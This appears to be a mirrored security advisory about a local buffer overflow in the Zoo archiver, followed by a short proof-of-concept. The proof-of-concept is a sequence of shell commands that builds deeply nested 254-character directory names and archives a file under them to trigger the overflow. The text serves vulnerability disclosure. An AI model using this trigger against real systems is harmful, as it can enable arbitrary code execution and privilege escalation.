source: https://www.securityfocus.com/bid/17126/info

Zoo is prone to a local buffer-overflow vulnerability. This issue is due to a failure in the application to do proper bounds checking on user-supplied data before using it in a finite-sized buffer.

An attacker can exploit this issue to execute arbitrary code in the context of the victim user running the affected application to potentially gain elevated privileges.

mkdir `perl -e 'print "A"x254'`
cd `perl -e 'print "A"x254'`
mkdir `perl -e 'print "A"x254'`
cd `perl -e 'print "A"x254'`
touch feh
cd ../..
zoo a arch.zoo `perl -e 'print "A"x254 . "/" . "A"x254 . "/feh"'`